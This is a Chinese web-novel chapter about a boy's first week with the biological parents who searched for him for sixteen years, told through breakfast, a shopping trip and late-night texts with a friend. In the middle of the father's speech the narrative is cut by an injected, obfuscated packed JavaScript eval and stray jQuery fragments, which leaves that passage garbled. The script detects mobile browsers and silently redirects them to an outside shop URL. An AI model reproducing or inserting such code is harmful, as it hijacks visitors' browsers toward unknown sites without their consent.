周六早晨，苌斓是被阳光晃醒的。
搬进这个家是上周的事。法院的判决下来之后，那对找了十六年的夫妻站在法院门口，女人红着眼眶不敢上前，男人攥着车钥匙，指节发白。苌斓提着一个旧书包站在台阶上，三个人隔着几步的距离，谁都不知道第一句话该说什么。最后是男人走过来，接过他手里的书包，说：“回家吧。”
他说得很轻，像是怕吓到谁。
这是苌斓在新家过的第一个周六。
新家的窗帘是浅米色的，不像原来那间屋子挂着厚重的旧帘子，透不进一丝光。他眯着眼翻了个身，听见厨房里传来轻微的响动。锅铲碰铁锅的声音，水龙头拧开又关上，有人压低了声音说话。
“火关小一点，蛋要溏心的。”
“我知道，昨晚问过他了。”
在原来的地方，厨房里的声音从来不是这样的。没有人会压低声音讨论他的早饭，也没有人会提前一晚问他想吃什么。
他躺在床上，听着这些声音。不是争吵，不是摔东西，不是尖利的咒骂。是两个人为了溏心蛋的火候在轻声讨论。他把被子拉到鼻尖，盯着天花板上那片被阳光照亮的区域，躺了很久。不是不想起，是不知道出去该用什么表情面对那两个人。
等他终于洗漱完毕走出房间，餐桌上已经摆好了早饭。父亲围着围裙在盛粥，母亲在擦灶台。看到他，两个人的动作同时停了一瞬，然后又各自继续，好像只是恰好抬头。
“早。”父亲的声音和平时一样平稳。
“早。”母亲把一碟小菜往他常坐的方向推了推，“今天周六，不用上学，你可以多睡会儿的。”
“习惯了。”苌斓在餐桌前坐下。溏心蛋卧在碟子里，旁边放了一杯热牛奶。他现在看到热牛奶，会想起保温壶，想起天台上的风。他把牛奶端起来抿了一口，压住嘴角那一点弧度。
早饭吃到一半，母亲忽然放下筷子。“小斓，今天……”她顿了顿，手指无意识地摩挲着桌布边缘，“我们想带你去买几件衣服。你衣柜里的那些，都是临时买的，也不知道你喜不喜欢。”
她的语气小心得过分，说完又立刻补了一句：“你要是想在家休息，下周再去也行，不着急的。”
苌斓咬了一口吐司。他衣柜里的衣服确实不多。亲生母亲在开庭前给他买了几件，都叠得整整齐齐放在柜子里，吊牌剪得干干净净，带着洗涤后淡淡的香味。他穿过其中一件白衬衫，很合身。
“……好。”
他应了一声。母亲的筷子在碗边磕了一下，然后笑起来，眼角细密的纹路挤在一起。她点头，连着说了两声“好”，低下头继续吃饭，夹菜的动作都比刚才轻快了许多。
苌斓看着她弯起的嘴角，忽然觉得自己这十几年好像错过了很多东西。他不知道该怎么补回来，但他想，从陪她去一趟商场开始，也许可以。
吃完饭苌斓主动收拾碗筷。母亲想拦，父亲在餐桌下轻轻碰了碰她的脚。她愣了一下，收回了手。
苌斓在水槽边洗碗，动作算不上利落。在原来的家里他洗了太多次碗，但他不讨厌洗碗本身，只讨厌被命令着洗碗。身后传来父母低声交谈的声音，压得很低，听不清内容。他关了水龙头，忽然开口：“商场几点开门？”
身后安静了一瞬。然后父亲的声音响起来：“十点。”
“那现在走？”
又是一阵短暂的沉默。然后椅子轻轻挪动的声音，母亲站起来，声音里压着雀跃：“我去换件衣服。”
苌斓擦了擦手，嘴角不易察觉地弯了一下。
在商场逛到一半，母亲从试衣间出来，换了一条连衣裙，站在镜子前左右侧身。她拉了拉裙摆，有些不好意思地问父亲：“会不会太亮了？这个年纪穿是不是不太合适？”
父亲坐在试衣间外的沙发上，手里拎着妻子换下来的外套和包，认真打量了几秒：“不会，很好看。”
母亲的耳根微微泛红。苌斓站在一旁，看着他们。这个男人会记住他吃溏心蛋，会替妻子拎包，会在她说“太亮了吧”的时候认认真真看一眼再说“很好看”。这个人是他的父亲。
母亲又转向他，眼神带着一点期待，又有一点不好意思：“小斓觉得呢？”
苌斓愣了愣。从来没有人问过他“你觉得”。在原来那个家里，他穿什么是由人决定的，他没有发表意见的权利。他不知道怎么评价一条裙子好不好看，也不知道自己有没有资格评价。他把目光从裙摆移到母亲脸上，声音有些生涩：“……好看。”
母亲的眉眼舒展开来。她对着镜子又转了半圈，这次笑得更自在了些。
下午回家路上，苌斓落后两步走在后面。父母并肩走在前面，拎着几个购物袋。母亲走几步就回头看一眼，像是怕他跟丢了。她以为自己回头得很快，但苌斓每次都看到了。
口袋里的手机震了一下。他掏出来，是一条消息，来自一个没有备注的号码。昨天在天台上，忘海把号码写在了面包包装袋的背面。他存的时候只打了一个字——海。
“今天没见你来学校。”
今天是周六，不上课。但忘海还是去了学校，站在那棵梧桐树下等了一会儿。苌斓看着这条消息，心口被什么东西轻轻撞了一下。他打字很慢，打了又删，删了又打，最后只发了两个字：“在商场。”
对方回得很快：“买什么？”
“衣服。”他顿了顿，又补了一句，“跟我……爸妈。”
发完他盯着“爸妈”那两个字看了很久。这是他第一次用这两个字称呼那两个人。不是在嘴上，只是在文字里。但仅仅是打出来，他的指尖就微微发麻。
忘海好像也看懂了这两个字的重量。他没有追问，只是回了一条：“买好了吗？”
“嗯。”
“有喜欢的吗？”
苌斓想了想，打了一行字：“我妈买了一条裙子，问我觉得好不好看。”
这次对方沉默了一会儿。然后一条新消息跳出来：“你怎么说的。”
“我说好看。”
忘海发了一个表情。是一个小人靠在墙边，嘴角微微弯着。苌斓看着那个表情，忽然觉得这个表情很像忘海自己。总是站在不远不近的地方，安静地笑，从不多说什么，但一直都在。他把手机收回口袋，走快两步跟上了父母。
傍晚回到家，母亲在厨房里忙活，父亲在客厅整理今天买的东西。苌斓坐在沙发上，看着他们把新衣服一件件叠好，分门别类放进口袋。
“这几件是秋装，过两天降温了正好穿。”父亲自言自语似的说着，把一件卫衣放进衣柜左侧，“这件厚一点，放到里面，你拿的时候方便。”
他把衣柜里的衣服重新排列了一遍，按照厚薄、款式、颜色。每一件都叠得整整齐齐，边角对齐，像一个强迫症患者在搭建什么重要的东西。他叠完最后一件，拍了拍那摞衣服，回头看苌斓。
“找到了。”他说。
苌斓抬起头。
“你小时候，”父亲说，“刚出生那几天，医院里的衣服都是我叠的。护士说不用叠那么整齐，我说不行，我儿子穿的衣服必须整整齐齐。”
他笑了一下，眼角的皱纹深了些：“后来找了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724366|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
十六年，每次叠衣服都想，要是能找到你，衣柜里一定给你留一整格。”
苌斓低下头。他的喉咙像被什么东西堵住了，说不出话。厨房里传来热油的滋啦声，母亲在炒菜，锅铲翻动的节奏轻快而平稳。
晚饭很丰盛。母亲做了四菜一汤，摆盘很用心，连葱花都撒得均匀。吃饭的时候父亲给他夹了好几次菜，母亲则不停地说“多吃点”，但自己碗里的饭几乎没怎么动。苌斓注意到，她一直在看他。不是那种审视的、评估的看，是那种很轻的、怕他忽然消失的看。
他低头扒饭，把碗举高了一点，挡住自己的脸。不是因为讨厌她的目光。是因为不习惯。不习惯有人这样看他。
饭后苌斓主动去洗碗。这次母亲没有拦，只是站在厨房门口，给他递洗洁精。他接过洗洁精的时候，两个人的指尖碰了一下。母亲的手指微微发颤，他也颤了一下。
“……谢谢。”苌斓说。他说完就低下头继续洗碗，脖子微微泛红。
母亲站在原地，手还保持着递洗洁精的姿势。过了很久，她才轻轻应了一声：“不客气。”
声音是哑的。
洗完碗苌斓回到房间，关上房门。他在床上坐了一会儿，然后拿出手机。没有新消息。他点开和忘海的对话框，最后一条还是下午那个小人靠在墙边的表情。
他打了几个字，删掉。又打，又删。最后只发了两个字：“在吗。”
几乎是秒回：“在。”
苌斓盯着那个字看了很久。他把手机屏幕按灭，躺下来，把手机放在枕头旁边。过了片刻，又拿起来，发了一条：“今天我爸说，给我在衣柜里留了一整格。”
这次对方没有秒回。苌斓看着对话框顶端反复出现又消失的“正在输入中…”，心跳得有些快。他等了比平时更久一点的时间，消息才进来。
“那你放满了吗。”
苌斓看着这句话，忽然觉得鼻子有点酸。“还没有，”他打字，“今天买了几件，只放了一半。”
“那慢慢放，不急。有一辈子可以放。”
苌斓的指尖停在屏幕上方。一辈子。这三个字太轻了，轻得像是在说明天的天气。又太重了，重得他不敢接。他想起今天早上被阳光晃醒的瞬间，想起母亲问他裙子好不好看时带着期待的眼神，想起父亲叠衣服时说的那句“我儿子穿的衣服必须整整齐齐”。
想起天台上那个永远站在两步之外的人。
他把手机贴在胸口，屏幕那面朝里，好像这样能把那句话藏进身体里。心脏在肋骨下面跳得很重，一下一下，隔着手机壳都能感觉到。
“……嗯。”他对着天花板轻轻应了一声。也不知道是在回消息，还是在对自己说。
窗外夜色渐深，新家的第一周即将过完。这间房间的窗帘是浅米色的，明天早上阳光会准时晃进来。床头柜上放着一杯温水，是母亲临睡前悄悄放在那里的。杯壁上凝着细密的水珠，在月光里泛着微光。
手机屏幕又亮了。他翻开一看，是忘海发来的一张图片。拍的是一杯热牛奶，放在磕碰了一点的保温壶旁边。下面只有三个字：“明天见。”
苌斓把被子拉过头顶，整个人缩进黑暗里。手机还攥在手里，屏幕的微光透过被子，映在他微微发烫的脸上。他打了三个字，按下发送，然后立刻把手机塞进枕头底下，翻了个身，把脸埋进枕头里。
枕头很软，带着淡淡的花香。是母亲给他买的洗衣液的味道。
枕头下，手机屏幕暗了下去。对话框里最后一条消息安静地躺在那里，只有三个字——
“知道了。”